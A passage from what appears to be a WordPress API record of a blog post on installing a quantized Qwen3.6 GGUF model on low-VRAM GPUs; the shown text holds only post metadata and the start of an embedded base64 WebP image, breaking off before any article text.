{"id":2625,"date":"2026-07-16T13:33:11","date_gmt":"2026-07-16T05:33:11","guid":{"rendered":"https:\/\/www.gornpump.com\/?p=2625"},"modified":"2026-07-16T13:33:11","modified_gmt":"2026-07-16T05:33:11","slug":"install-qwen3-6-35b-a3b-mtp-gguf-for-low-vram-6gb-8gb","status":"publish","type":"post","link":"https:\/\/www.gornpump.com\/?p=2625","title":{"rendered":"Install Qwen3.6-35B-A3B-MTP-GGUF For Low VRAM (6GB\/8GB)"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRixJAABXRUJQVlA4ICBJAACQLQGdASrsAU8BPjEYiUMiIaUhqBM6gKAGCUhwf\/xlZEaxBvbTZBnTncTeu6Lu0H+T1jcc+6P3H5le1ncH83\/e\/2N8RH7vvk+L\/4nm2dF\/7r\/M\/439j\/lp\/uf\/T\/mfdb+eP91\/a\/3w+gP9Wf9Z\/nP87+wn0m\/2v7Pe+b+8\/77\/y\/uV8C\/6J\/gf\/B\/lP3\/+bX\/uftV7z\/81\/xPyj+QH+2f3D\/0+ut7I3oDfuP\/\/\/XW\/bn4XP6z\/xf21+BX+b\/5v\/4+wB\/\/\/a3\/gHBW+nbzi\/H\/kh0b\/rz8deOP5jwT\/mf3X\/Gf4nj74Bf47\/Nf75\/a\/2M5WmcL1IPeb6z\/iP8F\/gf9v\/ZfkL\/B9GvnP9wP++\/1X\/V8sH6T7Bn9B\/yX\/M\/tf5LfJz\/x\/4\/\/Ofuv77PqT\/nf6L4GP5p\/Vf9p\/g\/8f71vtE\/cD2nv29LmGLHPEm+h0EYcjVkngO+CThrjP\/mWqbzXUez2GHI+5g8gcOGwR\/R6xcPxxQd5kVNSRiAtfADsTi\/syAyJByv7X3CaCPwT0s+\/9Mf95SfQOqhn4m5n\/+eP7w7E\/Um3LOijmC1hpHNpF7Febq\/yzjBRTg\/t6AL3tcu8qmJ9zaRiAGvXvXec7+LyiNjk3NDHChq4tiKvfsbV9KWne6Dr5J+JGHAqcn4Uy+3zkla0POc\/Udhup2l3JRLclDpRzC6SN0hQnL3vKTuqghmoVb4++b9gkcTMp1y5C\/62y6+GbPXSm7th5m+MrcQmvhpDjvhZVQvovVGvaBJGRQJ\/bJAKH7AwPGpzgnJbaVVehZh2IZqn1sBspE7ASi4baMCrnY8s2ieo6hOgrZKX36pbdQn3MiMDF4VyPuMJ1mm1HlWcqkUpIU7Mm7kdI30j9H\/ORRGEkXhU0XminWxgcjFQTgzWqaTqohcjZ8lS5TExSkivDSLbM\/srmv2qXjT7rXJXb\/M\/wkcwV2E96xpSgpD7jGfG8soJDQSmU5kKddy0e0geAWUbiF0W08Bl3gJohmvL1X5W4iGFUEzwxfnnTWf5aDxosQhFXko\/mB5nvtzv1y1xB7gZTFtX7o3x27CtmFnql7OxLQJ19DhRMCerJoXaM5XLOjtKCGFKvwsGbcxXXFL6NawdoHYpDiKZ6DUg\/IIjklTzN3ezXvwjgHh80KcvkhfwNcsrDwSiGD1lV7aeY0P3Dpnk6teVSWFWF6jftQOTHOrlHWJA1d3hHKTB6pwzGsLzR55Ub1mKYzcRnLCBU\/f2gVnNPCn9nOk8gVcEqKyNWn3nopJl0NsMmrkYAytj9oiou9QecWw2c+etVnXu1xTmxkUL6PlLP7+PLDyWXj1+f7Fqiwl0L9EdK7dI\/NHlnvHZvT2\/X5EllNWKp4HEU\/BBMo3QvZi3Rsoo1DI0\/KjSX9pAkjFdzHduSLs\/D9W4anfv7iyk1kpZy2Ks3qQjjCUBjgaNmeSQWcxmgx6jz79iWu1a3VAT3C7AbB\/7Xex93T0O2yX1uCkW6qBKBoMbvsshIE\/6ww7jfiNilL6TwjEUSNF+6AvNTVnPhCxacOrxT5W+BEnq6i3ogatIUChOAUIxscfObKs5x0LjkBiJKkWD+SXlId6vjb1wifzL2tscs+ofST2f00j4rfnDGyX4xcqbggKXljjnAcO\/t9TRz0Abpa7UK1Md0l5tUFL7acPNB2biVq\/iYeIXv1\/5MQ1HXC1YKJOM\/hBfydRCU7D7VBZ18KclWTv8Whn1wDbuFq6phWccUNnDRBdA81dpYR\/7OfXlqGnkBIBV5OfhSVjPfZlP14mVJl60N3ZpPR6SI1rnrEqkOMLqPkAnM9vW5W3BmXZpCl608OBLy\/\/ju2TUcslWC9uGl8hHGQHM\/zs\/\/mdda6s3CS5f+qy+UqycL1TuG8aUDVI3aqvkBasbzJBWE\/97ywceKMoN6l9RF7SkCi3nr1fdVOzZ5PoiI\/nL4EIuozewF27P8OOTb3kOcKZWlyxLcWWzFPFHkLVDTDJpI3aS9wDXUc46sTDvobsOCODRVB7HBsbKVytdCMFqgNfCcqeE\/Ag9lZ7OxOXyYXf2nyxF9KKieF+3++\/c7CkQIG+bvRWLP4neSjEuUVdB5YaYGUK8aSqmqCtbH9YWICWwWj+etMUHmBQ2SoVjJFI+9g30XQLIbzNooSWmAkJHUC83gjibhA\/MyzAnth6JtFjbzAp2yxG1OcwUuPbyVG8\/N66a2pAChj3rZXoTzgcopSin8hF1EpsflDgnJphUIpP0doyeF8Ja3pmGmY4Uo5YDVBhC081rohwLo+dMazZbplOm3FT5ojzooHcN8z3Yqus4KuafTmzvD\/FSHHfV05KUMy22DeUDVsnBxp3kbuy\/dugyDh8q2t8bVQciM\/lkH4kZ8fj4A5Bh0XUYz0d8H2yfyjFSX+8KLZPrqLolZWWvyPnYMlSfq+XdatCUJBcrpnIxUdoJuIJQWb+McWHnRFxgc1NLWLIjyIslRJq4WBmKhBxe9Xi0\/BRz+ZLSkBUK9TkiSIku6UB1eJvtOcMHsYaV\/mJQuHnvVo5drCOah+ShlQJ++nUrVbj8Lh3xcKIq\/fszrMfM\/KP\/FN1TU2VwnMu2UtOZ1gOh2DrSWOgD7MqTdiy\/y\/h5SBLD2cT1bfqM+P80j3xL5yzZij43lrBQuwRf41veMFaJOu+9Fqrmwsmr9ntfVfwJ4xhLkEvEq9v+PpNwZjYKAyRSfzNge3sQPg7AwRFz6x6V\/ZE2H\/JoFxa1EhmLGsy48hlBDE4js4WhSnaAA5jLKIgrEfgPNdhx0UO041zWajkRShjzI6zWjTb5O9h2eY5Fyqbj07nvAGE4zAfL9nII0KqQ63uH7377eDjYWaQeB9okzJMDKw6C+pvYo3pqalnhGdQCb81YLBCJ6En9CIQ0WLk9YPcR8PUOZeoY12ryDRFFeUWXw5ifycsVTQknOUMrgPB\/6s8Nx10JM1V+0mFvfqXfuxm47Ih8j5Nh0FlibMiXCAIAoX0d91anhIn4IoAdsKWQOvnAihgpIp5GkqKM9\/\/+mtrcVbAXgdMjz0RlahoZUcGPUtHiiYl2abMUVv\/gV7MPwjz2kNEAsSVufdmlaxQ1\/\/ZbZFd8LVK\/kWxeZcd5KC\/Be1sAw44vJP1ilnuWkzKLEsbVg3Dj9WVWoSt2CG9YLLGZnRU86OGb\/oXIbpsVYpmx0ZDrRcNykKbSrLab7A1NEhjZdmnRZe4h6r+7HkbyVzBE\/T+yd2\/78033w+YP3K4AA\/v\/4O2ULbNAvglLLXX\/6laPwCG1WsrjEZqoUZcytp1rtE+cO5CHx75MvtBApcyBKz3X9MFmO4c9I\/qwc\/KE4JtvTcnWieFOkoNvZ7LSC1o88LMGxY3DGlFURh25AE+\/NeuRF47cZ7\/E\/+QsvAnzS0vrGzvpEEfBsU0O6WVnKkQw6C1R7x+vefU2dv8rWW669FgYaGGcGRVlqv24ch17n+uk7QIteN+KTAN6fDtsnHL9HB+XThTKNMuWXZEtPwKPGVveJ+0toLsTI3Lw0Y5wcWFepoBkDDEfGC85mt08wdr98S2Y27gY2UXQHFRUKi3\/qQAAgGgvmraSfL\/1N0wOY0bMWytkBqBUe2lhPKGYW2dnjCYqJlD+yb7edpDYNVUzI3VjaOBLwszpIkjlgZzQusuTa6ToNAQSXMhk3SVHqXhOTVmpkR75l8A5elW\/bp5verpIMfIrDrcZ2itBd9xaTBUyHcFXB623PtAKnhU\/+wLStxnQNxV7rHIfjrXXc4H6t4w\/47qLc0owayvmD0HVd139mhyLWNJbTMVd6xGcWW8Z86Dx+470SFm0rGz5XgE+G5JtYIgrGEpGpWcAdHs+L2mbg3O7b50FfGiIVqqDUp1\/LkzGym\/\/m89Gp8tDiukEIQcnjykBa1dsRm8pDgRq2myIGnLXGzTIFX7hIVcS0qCixQaG6GWx+Yi4XrKtAU6pE5GN4Afw7OqWr0gEBTqJiKTh4pyDL18ipmyuhd8XBthIspP6vX8iefVnj74EUXAtwQVnWlKOP03lLpGe9APcaKdZYQ5BVHJEVp5ML3sAB6UV\/FLUVOlR+ahBhFF\/4adPNEZugqDay9Lmh7uHIb5ML8pKHXoEGZ+b0hGyNH4T16U7Y80XXqx5n8OqQy6XSSfjIiIJnkmFIxOt2my1tmbJPZrrSavI5sUp9EQ+XA91ud8AEqodNgpKFcSgF+MMUtpiqt84qtGTi6PVF3yRa\/gfDJ++p4UIG1zMDZbC+gnw6IgNU4JYSz5ECmGh9QiTZwk5P+tTyOVoFq\/LklLo\/Mbdh0k4MnVJbin0rKR7XmcGLxeVuz8z1duPWU1Pmyg3VVYxDx5odpqwHa1HJrrSnnF4FS+zBfkZ3E5Qtc1UExE6\/NeAqZTL7lMQpAsUxXDQmhdJEHt2\/5UjSEvPxjX7az76fW2jziKZPcsD4x7AK8PnC5OJHm\/eCdRDsBLd59ARXxu6iEREJkmImz2Hvgelskxj5Xh\/9Vf7LmU4TXiqBoh4E2mVw4jTs8SLxo5NZQfaw79s5fvI4G7W4pcFEEHxZlzKtbqIyYk\/JshIlwM4+WrwlDrevw6e2ncBdOKSe1rnPCOxJScmQFS6I5zkS2uxhD0VhrZnBA423ednDE8gVw29QHzQB0S0trqDUTbo6wDsDfZ9JSk9BpymBbvPj7aOfIu4+lwhpbfYsN+PKnYDO3VEDdrsf16CuyxmCsW7WT9MOKD8yzEK1RZq8uDY8stIMpAT9K4nuX05rYedZtMYjWwoDAnotiT7uLGFdsBub4CpoQ2c7FKAcz5li6Bolkx3wsqtZgsJPQaq16NqueCEeNj9UUO+SZHcbcG0ZtYOKDx7xxO\/HZDCacTeEUFRPIok7YyhUV4vaElZRymD0OGbJWwhnlNHbs7ZNe7xt3rHZfK\/qfmKWn+8BpsTXfD40a9IYZFDoSlzZ4oTDJDRkdr34a+S8hBHkDwVL\/5OGwewdlQAiwNtYPsokTTq6WzsXQ\/Rvvnp1NBpwf7IY9Nmxl2jnBvN085BvNXZA9y32qve2ByHRxrUxB5XaWzFKQEmUK14LpiXZtP4fH2FT5nwBoUIif370hiOt3UuAEBiQU5EX\/3tl66\/3YiyOMI+8+8AJMwHO\/zqxAK0IX58Ah0pyfRA51zKshzk3ByfacQBD7AZ65hw1KWBBP8mqVhiFunexEg1aZFI1awM2t4o+8IiTWktfjHCJZCX94kHFRVnrY8POeL+IP+bj3Ql7lI8UZiwJeJeilrZ1muBgyVWwEH\/YpD6h+0JkCyp7KNWqe0Evnso71jRTN9hF4bQnv+d6Akl36z\/mqYDXef3wqux2rsk7yjv+zX+0lfgBG7OccUbugp4jufnB0u\/ORLPYNDs7z7pohi6dTsq0Rh1yn+jnnDx6tzl27evWt2aB\/6WE\/wYh8fXygZxsfiS1efHtF40ubSY+WmS8VhJvFKKthpI63T767MHhFnNlDPFG1L4Pq96FbfYj\/8xS8dof8ZVqEBcc+WEnBh0yozBgfYjExpbW8HY3nVOQCwmvzExq9Z+IZx58yN2c6qkDy3U\/pXT10ScEKn2aRSJLIOYCN+th8gCGt3FViCyyrHpQ7zTH49bpy8qDJfsrr3nScxZB\/j\/qrARe7hdyJ\/hRA72rGdkEXZlm2W5s6Lw8WmLpy5\/779MDWvrwyxmNSkb5fquh3naiDghJbIB\/ASCOgxUWI7UCT7BmMvfu8DpFl2c\/br6F5mQNml33KNae06irInOwnImkoVZshvt\/FRMEDEK1TYkgQjpzAOMG093ewP8RATIDpGAUliceJ2BwRVcdCpxag+iuGo3pfhy6XhMOs1f9ZTzHrp4M0pC3yp+8QKzbbPmap3+n5Ty2xLOmpxY0qXoCbr8Uvv6mJoKFjRtQmbTT\/r6ob6xKO2TEZuBKh\/dL3L1adQO1GDM+5aQxXS+R0eJidc3tx39D3YFePoBjmh+AtHoM0s+H8xldRNqsIaIn3iiIQ1CY7vVfyiGoHxcQRLAw27VF8Rv7SfyOYpEy\/6b0uDsbrloSk3F5m6HTwPKMC4uK0FZujTDkiXpYzwWD81hbap8+TRF3Cc8oddaKwIcJvJUqU+cBa1FTtf9DWkwcwVdnD3qlAD5E7hVqPIGV3tpBwynMq65AvjGKvi5dMxY7GBJsaplGG4BNE09E2xwd\/tlQ1wxtQmpmJ7wvDDiP\/U1H1MeYgJVqcmN\/B2FzaV6sQ7D7+136N1XetyzvzO+mvIW+FNBvpz5IdQMySGzGfNb9PcWlgl5jG2ECD6fcij3cUCgnHGdb8fEYfSTtdq9PL46k4NheZPMxeGNchB16L5P\/iAgmaL9bPtW9CovopMPwJ4dRmt198oDXE8cXxfheTmWRyvQIe0qLvwjAOC5\/HVHhOUCxzzFyOlSkjnZQeQayd20fE+UU3ZVV55cUh4qtwF+4Tjj7M+pOmFNIEkAfOK1Hw1UnFVtFHXvJtKLsVqep923KeeY3FGvp8KOgVI4xgHVURnfKHHX96UyoSvTIR7LR27I4SyE3iczxXPhT04sFMGlwygO4JSlzKtqXHBkXtPrMSuxh9d9pDJCR\/rhWwzCieuaCWVKYcdese5iNxnRIv+NsuHIkLNWJpYZLgjT\/0iUM34A1H6fGQwkJ7I7PWUA\/4\/vKAQTY2lTOjKVLrzrQpX\/KoPO5dTov7+jK0cdAN4mOCYQZ4dn75X+lOMXQTC4WtJZMeoSAbeDv2uGj27u\/cGGum+5GAuGxZncThtmR6kVlCnCvXEdcUBgBXoZDfyxGtN2jBMgGaEgIq+wge9e0wIznn9HWQRwf0y6dF+6HN78Nrkq7eXilSgUFYKBRekxLc9dCe5dj1FdS9CNgESQ3Rhpim+IqXjuDcReSRJcKPVRAd0deTFNu8tYTRPWr8583xe9EbTxSgL8gF9cPwQZlbCvcvHAFPSDV2ejDWRLLSy62+4RQlJVnsOg3n2WxRKnMdfZ5SRI\/aZOmgJputzdYL5DRV6S9puZdOwyNhLJQLCh9M8kt4P0HQk2PPdmulqz4rZ8hm3wdwnkebuBaHkNuX8Ir3Rze+Xl8ckPK0G7rvLCC\/EekJAKC4S7VMzUlomgWmz8Lf29ogfZnOJLND002NlkIb57SWoIK41sj8Vakge\/1AAfY3JPZctRBoZMc9dxZfVvxhy7D6e2HZQC8Roi3212cPdxzC6wU4xDSBNVgvGH+YrG2eEnYkUsMNYZhDlPkt7dJAY+b0y0ad5dqRfJ4jcC3e3bY7AdGOhh811PMXEfqgQi4\/hoH4KIwl9nCigT9rWKhgfxEGt9WLbKoUXt5S3FC2AwF7OP6ympL0JPD+9c0roVHM2bmfZUl9\/QZ4qnT6LSW+sio2cPXccoQmdV2Hr9gLpL6gw7u8FlmLwtDqUOA5ptLvpYyojJGkWzQvpndX3obrIWRZkNNvvAHvlEQgBDqqubDkeGp+8D4jTs9+G3VaQY6jnEWxPtH2PZlVy1+hPp5\/COo\/5CsuLoVds7OET6e75mMn6Ze2sWp9zpUsNJJpLjoU1gcGJ8y1H9d3+xXuPDoUwBylWIn1We2zjwpElkSKqbvAulLH8Lbg1sZyceqHECQmKT2SBqfvKcpdaATCys6C3G2L0wsCzVNTXA13YD3689tXIrEAuwrFsmWJZv17698+rOqfwDaxwounlh1YWiEpDDspp5FoISun01SXbvdeJYXKUIx4ac3BT\/feSzRk5+jeJ4fpCWd4RzNn52yYo1NMdku1tZQfX2fyJCRXbmPwL6USBTCqAeQACqjwZ9WGnNmXlUvtWGGe3JliDsnOMsyKUGw1QpenQCSXpX+ZngpaJpj\/7CS3YoUuMFQpExubpWssSno6av03oBFSU4ZxVk6I1RpAL5Vhe5DCqNaoI90GGga1ibPNk7zKhq73\/8PqYsa+W6\/uD76\/H3AQa0Kfle+qVqJiwkW3Vfqs9Mx6M+9nSiE6CKO7yW1GDjvEYrCyqlYdbXrppJX7gcXEKde196YImaVKCZoiHgDllVUGLRzSAwnqqVO1tpnsUatWg9AGql1hJMzkLRbCSucZ3BSVMl6Jg5XcuKn8GrkmUjCwZUgY3xp4BXl+fiJUnHbIoGd+OwdvkahtXgQD1VoDOy+9WctwN0iW0GaHSL7FN8HiW19fNXn6f3g\/PJN5OgpVRRAEoDXRenp3Zgwj0M9LN2fJlY5jB7eadXnzDp62\/WYKBjtqKqRO0N+AtTO\/xC4Zm\/2x3AJeoLAoAV3RqI1YdT8QZsK6hUIz7oMWAIIWtCAu2gVOvDl9eI+cQMLkXjBf8e+tLeSsUXYzXHxwR3bznjXZisCFobsWzWhkF2oUOhOuU8WsodLFLMYGC2IAp8EpUg\/N95sWuC+kXMqgw8djyIfJjdmlkNGr749M\/UOL8l4PlDeNzEoAR6myFX+MFry7Np9fQQx\/qB\/clJG3GvbCZd6TwcDxPBwiQbrMDp+7MBjTskpIUYC8Kx+Q8T2QU5tZsJ+b7FP7B75oxT7lX3AJNCk2EB6HokueyB2Xi3iTOOr56yN\/m\/SUmPF0X7gEZw3p5GlYCsZlWF6h9JxQ6HgOp5oHRCZKUy+Xxh8iUtuh2Ckt7B0RMpHvUdDJjtce5QRkzM5NZCe0c\/1Enxivnyip1X594VAu3vY1qIwl6YFt2tNim2FuI9YJvfVTe90zwIMkN+kWoOB57ZE+p4IBslvHunQ4z9NseDB9gy1yyMm9nJkz04gqRbim2sj28LbgjaAlkY8rXT6ArI7n+9lzJkVoVKf9FGnrTd+9lIfUVCUDoSLEXlivlKH1dIUut6k5eS6eofe7KRANnEaxLbONoMjG6rMg6bECkguRPs3PgAO7VXka86fdTGMEJt2igX\/j85IOvDvdpMHa1i+mkZWEShK\/nfj3q5cl1CrNIj2NvRdFnD0BicR1AlK794tYuIFgljURpP9wUkgJOodxYGZj1WtkGrv+xcpui7XyeT9d\/9ePX0FVx8cQiMWKUmgW1eMb\/6r2rqrzA9rLEmKpeYLVRb6ofa2TYEIzurcWxu4PCItHTDeCS8Sh2R2WNKz63kctcX4ilRsDdSipfBGu3EZfNDfIaSYMCB89rW\/ccniG2ppnOJp8Qs4gC+wjjuBGYq39NcUw521natAwZ7HOY25K8beBhwQS6uLnO2ruRqJKJ0u9OgOGn\/SxRJePaMgfRZe4\/5i1hTqZXwJZVDuSx\/XcfpQADlAZDDzpbOTLSagBZrZZ2GxQI850KuL8o6PpjaMncCggpX6NdMNv10df23iQxdkqHwvcM8seU8S0R571mfCNcwwcAPyw6D2F\/n6\/rct0Ay6WYrCiB5g+rjvFbPOQNKc+f7H98Eeb9\/NdhtxpVgEmCEs0eN+sXSF8JNlHTe13O6cPSlwv+dvd2wNlEfFsMDOyX55rwlLXywSb5CqcWH2nn+WqGtmmneCO\/q7g5o0Nm7hwy1uRK7k4s1O+W\/xGPyiaIfRTWmaNYD4hEQbQLDeL0JNUTLVrxgoBrN7aEaEbgN1\/XP6rFdV1OSX6xea\/MfrAkqGx1LoHCVqDBFzigSjyGyCiV7ZQ0usJYpoAXo\/9GfCo2nDt9x96hl\/+YXlS3NbXnoOkqw1Im+aaIVZvGN4zeC7wmUZvIObejrHkZ5zv6LidDFZVZqWdipYE7ZS+cmG8NTHfIONoygnLvXrqhazGyryARcxtJeji6zRLrtmJky8rFsq3zahETzZDoqEYPcle0x2OOxm0VrRdcSr0ocHOlbd8tOBKFumNig86FWBJGSgYT1YFj3xZzwbRxdUImckV5Os9s0sTfA+7pHHb\/286tY+YgWwKNSF8DH0LzO0s48jJiDF8vyviupdaZMR8S19Gwec75wRcI1397ciHi0xMIwto3+by81BxoY4HaTxwHlbw1FOWk9zYRyL+Grvx9krB61NzC1O7V+M1JAyw35HKpXDLCH9G+2ygQ8VjjieKIvhv1hXA94fjNPl9ywHw5PGZcLJ1g3\/8LzpfuRch+Xe0I+FeAhLYOIvj0aY67gP4lzOYVXBJR1slOuy5NdE65UHMNShaBZmYP9xrxP7yIkafRanadNw9FMRa+P7nv3QGDaYYrAFrG7l4B+i7t2or06nRPk\/vRq9aXuq3VO\/0tQZNmg4kkT2ZS2bFGd\/8vy5De7S1U13z0RMoDeuF4z3OHI6oJ0KElolaDgFoI9qr7pcy\/71QoMP9Bqw12ojMloUUuEQIFkJbnR0MpuM+n0ovcqSR7fggZdBFGTdgIpBNJNIXo61eAFmWs7lN0Hl1EsAV8ORKHPEmCXfvJ9PX6M2b94TN4NPUguqGq1aEmbfujsMP6uF4m+AXmEqFR1f5fefkwzc26H0Uos2d+G\/Xp1GqeLlrRdnY6rKwk1iWRZgy3+kF3X5+BmvH7fpufbox9w+uo8oq46MRjnCusBnnPduM4nnT5dfUBbB8AYQIp7hdsymxqZX+GhqKJoZoopddVsFvPOLkSvUMoiS7dk9lgOfkOEBJoSHDrYTZiTRGH0jaNurcmqwLNtLSDkXzP55Ah0ysptL1tZzcCKdtlAaCFnnuxMJ2cx5e65ytvfLrX5accoFcXWTfGEQQz2n7GCF8YvGQZ3pE3RiQvu8EiTjT6pjBRTFa+uI1UXVASbCP+CnoLaPyoRvNOnwMLW7cum2gPLa\/Ijh6zTvm7KOjogOTazdloNYr9YSHsNOiG2BPI15ChTtu9HP8gR2jwosY65hwVQ5Zqhgz7\/kolRkC7m9B8nbkqJkOp80y9MEyqOMfyKABZ\/tvM6w5i0ezn01r4YUDWw1ig8R3LGDJTVobRQ0B3ceP3X5fG\/qop+NWOfOBVR3Tptz1EC6dxXlcbuMfGKIdeugi2E5yo\/tOrJ6mfaik+3JFa3qTt5wYahbBGsgS+4X+KWupdpD1FjUkmbpYJ9fukDx2Z6rbdYXLPZocKoVduNwlGtRqGhYUo2VmydLEaA+ayogIcusdBMaxaE7el8sP04ATBZ8b5E9DgS2aDxvZYgn2Wf\/wvPAGwxxm71BtpX7RQAHeEyCOzCgPQUbqUDqjeCoZir2Sj2dakbGEnDtLzYT5mHcy9+4E4a+8ioYrjapJbUz1\/RHwNGtiLK+6O4r7fAfBvXMVCuk\/7Mi+P2ARzU8rw7zzufZ\/z5KBCr66EqJbHZpAMKMKxfS9DYtcPcRZBoPZuXFN3VQpGoyrPT33wdRqxTYzimQ5DxICLRtRU1Ho31Pby8FK13kL8Jpo3OBeDQ1teDvCqfTScsczAnuGUJLMK03cN\/0oVlQKdYV7XvkithPPT5ci5V7ZtOGltLN6aj5+b+VLxLV0tvEfCrYp5fZPVBqZHUYCcYU5qA+4f1\/91YpNDpWhrXKtAcvRAsKC8p55p3o4zlg0SsdSEbkFyxvnq2Vn3v3fkkK69j7osZAXfEDdhqxRQbLmwQMyGQMy1aY2h\/2415Qi8056hmf3N5L34eLltxtUSCwwDoFhkG86lIfWeBTs80HsleLgFpVfJcWzi10FRnI7d0CFo9WbjCIkjh6cdxR1G9\/Lo2ibmysKbe2sGelwj6b2f7Pz6g75mF6WViUejlkkrVdtB1UWIzBNV6wJa6ypnSWhCVWOudoQntqhBcqE35paBScHzuG\/lK2EZjOQfyru8KjE3iwIVi9fnYiMGtKdnw5cOkUxPF\/5KIOhTNC9Jzlv0mtSO1IGImjisgKEoPZgNtdZcTT6vD8MTCuIC+66qhA\/zcg6CXgyfx0tNMyCfXQEiitCGE5Pl7rsBCIF57Tv3YmkRxaFppm4COm6dtLMStcpTCPJKKD\/wIqxB2IXv\/gng26Ux1K+k4q+1Gqn8qJYyeENVrfWqmNJ4sM7Z9tUjmBjBGeBp052F6NK6lFdCe6x4N34hoad+6vs8\/M3SWvtyl3jzUcaCMBRu2Ydq1e3FN7WXTctRTkDJcIAhkp3I+chr6j2UdzTVhSDjBJziZ4MvcXQyJw28LztnfpK2XrJKorhSgEANS1grXxDI5PMsE+BEf3od49Y2bAnYLyvGv6+X1VA+LcbYKwqoN6hxNLNkqQ3NLTXXc+6n35uY91V+IyaailIYgj\/hsYQr4cuCz5p2wC8KkMQrkDcb1dnZpyQGQnhAmAY+hAawwkUK2hdGCxSNU8o4MRyCSnBP0Wdd5QX19g2BG133tgVzzSNk319HEUjT7vchIMAXpzZQv35Gc9F01KmlYpCwzWwF6XTCMm1yIPILkmFvsIBNMAFz7n8HVlRqmrz+kjBIyssdktDuQJ3F7UW1Xl0jvh5O\/5Gr\/F\/ibC1kY+CT25E15uW14UDQKH4iD2lp79WilZ+w8+pv1c6pHCShBNG3YaFVnokJoVQBxXOS\/ur3tBvao3A4N4wsclngSJ8c4cUBeU6pF3VbcgAqzFMhxQhmTxeRiIn8hNhONjYbMcQ61acFcsORT0ApkGxwOviemqdKuFF6x8NIpspWYLUldQ09sNmMd9urkQEvvZVPgnOpoc64BFFGAMgcjWLDWp7\/drV6Kr4JzHcgNiK5MgaQBELuluhliE8JmqPCntaQItYHeHTkBNkzaarIP5P8\/U8SIGMIDuDVyFsCF3AEU9Ff0v\/4upQydOaAj5uTYUNiJ5hRqlfJBS\/HWOVm0JnnBF6qQGWnBjZlBcTQ72BJMb8WMucIcSN3ywmzoy7oDghK+iAgcax8fkTo5q+Ct1YC9IDHs6rjjAwaMmbQf\/q\/+pquUu8BotG\/FxP5FBYTLzUBo7GEHpOCkwuFCGjbEpgTbygi\/rtC5iRyEa1\/dOp8CDHCURrUIEWfZjlmeL7OmEpT01muJSZJXYKqNbiRuHiYxfUvbsuQn72ocKzHnYQlUZOC+\/3mXvR21vTEXVId26bWww4rG8ztdmKX7TFKDfsiVLCkofC64qN0+zaHeMadY38V97dzdm4Gryo1bfLy3WqRaq0rLsZitqMogTtJIDJ3KZxMPLIz8RufZScGrQpd\/MZBxJSiJxKmaovH3YXQStcqgWUqBW5Z58Ovl18OXLpONVF4+Vcqm0Xb\/j0U2LVtV6iIkrSitYJAobPZitpnhROOIatoAEOeuDLoZkCa9Aov4DlwnC2vAHPRjOiqUsbzlu\/TLQIZIPXSmddwXdvLL5bAFBQu\/S84H3jdIP6wuaSV4leJh8ELPTpRTyKyYEWI0ZdnpFBp8MsjQIW83LTTu3hfhasTAoTA465FbU\/qXOz7r4EHrmbprEjUZHfjjbZS\/UHfv9zxoUy\/xr7bYhPtCjFEDPKZH9jWvAzkg73Q1De5Ds2K4831MgE5pfZEoVZM2pMS+ocvCk\/kYRJ6DA\/g7YHrbYeMKspzBMCbipswrDbTPVIAxYBXF8xDjB1yfNJT+3aFA0B\/p1WSs6uIwVRHw8VyiyhzbEitmJREWgNPvW8KhfGGgtOHYsQU0x+4Bk3Jh4vE3ifOI9rYm7osIWxCz6\/qH0iYgMl2fprvsU5gHsqIMgY9er8oiPmkiWYhiSVwSdvU7ejq+g7hf8\/YdBOMdBRDyBi\/cyoBLJucpFfDCn6nq5HEBJSAHqJYJjVFkf\/y4tD+apMfiw3kFRHJcaTaux2xeL6nDQOurdaZGcbS4lG6BVPA2ZJse1ZnqvKRpX+PCvHtSur2+EuzIHcagCcZql4gW8gfhgiHvSsLaZhhYX7t9w47FhCdRYGJ1Ks7qbuQDfVT5rpDCfcIxVO\/DndbrBVq3HymV7M86ixjh\/XQLsxeSccrHTx6eVe8LlYDs74K9mnwfAqrND7\/ucbM2Vs5CSq48fbT2mnHr9AuFws8\/OeMFmiuGTmS2wZwUgt48ZGpHOrctWu5aRm1U5++IgfA\/goMqMm57SN3Lrh4xC0HrKJzFhZUUl3bCUNeGpKJvZ4X2PAEj\/7MZEGf7I\/Em4PluUyoX16ajB6IzaMpaya2gWn\/V0i\/Q0bTweg1HXAw1cs96\/dnIdvv1if5OuxiVsxi7iS8m1PnAc8lzckj4\/dcMvrY3Eax67+Yx8xQj5SC5gPXQ+j0kGsK6xsX56aon8jEH+cc25B0O70J8iAS+TZ9Ip7wU3musD3KxaZ1hch6QiuWT1GJ6eN6s85UDFwyMMN1nEG9qU7jm5l0Q4sRjAmAC4BRwQtCF2YEA9OVShwJYmVqBgykMyFziHPUfC5vqwKTeGo3BfjzGLZzf7ZYGu5zuXOp0WSizUjGqhBDpeN9bwfsjSfC1bnNb5+Yc9SJiufzJ+9Dk0cb1RadON1edI+WyWCw5D0Mm8qbq35vpkDI5dzVLi+fwGy5eJBbZEFtdGLvbtwRZMmKvSqMOT0dpvBw3VcL+A+mYiSCIYTqW9QxgvMPiAAhEwtb1VsOgLTh+WlSa7svA+h3pw1PxGPn+t+X437T8p1Cf11I0DViVVNIUlGXuSwLJ1bt9ruHPN5ln5AZWODpEYkWpIUznK57jCbn8ys8btpeb0EuDPATtqEl5QYA2yfWYb3sljNH\/O8mFAWW+Iem56aiTyqKETuSzZEUvqgONuGitgDvPZcmj4pEgtQNitM38iIPdu\/UwDjrUKT8SXUWP9wvNWbVBVBMEjy4YA5GgmM2LasVjaFaXUXmsSFkCqA7L\/yz5nPaW1jhl+FLAOVQcHwnAupRLdnmfXNZJgf\/gj\/nWyTpRx65J+EpLt28UTdCifDi38+rCCDOOAXLvHFZvuALVh4iX8C\/szmFMqOIDlQOCGFU\/7d9TLap51nMLrupU0OAqt3q2A6qO9Ua+0+P1RBGzzNq5u53fROeMqorj3ATAgKZTvDUO9k1UGbZaNmWZyp6Ue+ih19OEu\/oY9cwJtX2lXL\/jCu5tPQNaQ2co5gIIPEQAzZdx82tTpley8bQZmTu4fNRGb\/g1TXTvDzY8EuHnnJOphm6uDq9jW\/p55HGVe1c92u7y8Bt1ythKIcvuTDlI\/ARyzX3jiskpxjU5rZaaDH+ykfWRcZanp7u862IJ8d7oGqteqV0ZQ4o27+U44DmnRQzDhc5pnoBj4+B9hd3GvBk9XExqZDenurMMcpLKVeGmhjIcJ4giSC\/nyT\/gbABJzSm\/UpGtTBkgYqD6mbWGLybJa9q+ge1g5zrER2puK7A6afno5S3Yb7NNRd0gG54SWJt69Jn8YF2cH8O8f+4+7U1UfdVHhNlsNqyQW7vSyaWOj3zy0aYnsFVgXxmFUlJ